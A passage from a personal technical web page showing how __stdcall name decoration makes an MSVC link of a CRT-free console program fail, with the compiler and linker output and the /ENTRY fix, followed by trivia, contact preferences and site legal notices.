    	return main(sizeof(argv) / sizeof(*argv) - 1, argv, envp);
    }
    #else
    int	main(int argc, char *argv[], char *envp[])
    {
    	return argc;
    }
    #endif
  2. Compile the source file quirk20.c created in step 1., first with the preprocessor macro QUIRKS defined as __stdcall to generate the object file quirk20.obj for the mainCRTStartup() function and put it in the object library quirk20.lib, then again to generate the object file quirk20.obj for the main() function and link it against the library quirk20.lib to build the console application quirk20.exe:

    SET CL=/GAFy /W4 /Zl
    SET LINK=/MACHINE:I386
    CL.EXE /c /DQUIRKS=__stdcall quirk20.c
    LINK.EXE /LIB quirk20.obj
    CL.EXE /c quirk20.c
    LINK.EXE /LINK quirk20.obj quirk20.lib
    For details and reference see the MSDN articles Compiler Options and Linker Options.

    Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.

    Note: quirk20.exe is a pure Win32 console application and builds without the MSVCRT libraries … eventually.

    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk20.c
    
    Microsoft (R) Library Manager Version 10.00.40219.01
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk20.c
    quirk20.c(16) : warning C4100: 'envp' : unreferenced formal parameter
    quirk20.c(16) : warning C4100: 'argv' : unreferenced formal parameter
    
    Microsoft (R) Incremental Linker Version 10.00.40219.01
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /MACHINE:I386
    LINK : error LNK2001: unresolved external symbol _mainCRTStartup
    quirk20.exe : fatal error LNK1120: 1 unresolved externals
    Ouch: functions defined to use the __stdcall calling convention get their name decorated with an at sign and the total size of their arguments; Link.exe but references the name decorated per __cdecl calling convention!
  3. Link the console application quirk20.exe using the decorated name of the mainCRTStartup() function and execute it:

    LINK.EXE /LINK /ENTRY:mainCRTStartup@0 quirk20.obj quirk20.lib
    .\quirk20.exe
    ECHO %ERRORLEVEL%
    Microsoft (R) Incremental Linker Version 10.00.40219.01
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /MACHINE:I386
    2
Note: repetition of step 2. with the preprocessor macro QUIRKS defined as empty or __cdecl is left as an exercise to the reader.

Trivia

The Redmond Reality Distortion Field emanates from weird matter composed of quirks; its vector boson is the so-called Gates particle with a mass equivalent to some 100 G$.

Contact

If you miss anything here, have additions, comments, corrections, criticism or questions, want to give feedback, hints or tipps, report broken links, bugs, deficiencies, errors, inaccuracies, misrepresentations, omissions, shortcomings, vulnerabilities or weaknesses, …: don’t hesitate to contact me and feel free to ask, comment, criticise, flame, notify or report!

Use the X.509 certificate to send S/MIME encrypted mail.

Note: email in weird format and without a proper sender name is likely to be discarded!

I dislike HTML (and even weirder formats too) in email, I prefer to receive plain text.
I also expect to see your full (real) name as sender, not your nickname.
I abhor top posts and expect inline quotes in replies.

Terms and Conditions

By using this site, you signify your agreement to these terms and conditions. If you do not agree to these terms and conditions, do not use this site!

Data Protection Declaration

This web page records no (personal) data and stores no cookies in the web browser.

The web service is operated and provided by

Telekom Deutschland GmbH
Business Center
D-64306 Darmstadt
Germany
<‍hosting‍@‍telekom‍.‍de‍>
+49 800 5252033

The web service provider stores a session cookie in the web browser and records every visit of this web site with the following data in an access log on their server(s):


Copyright © 1995–2021 • Stefan Kanthak • <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>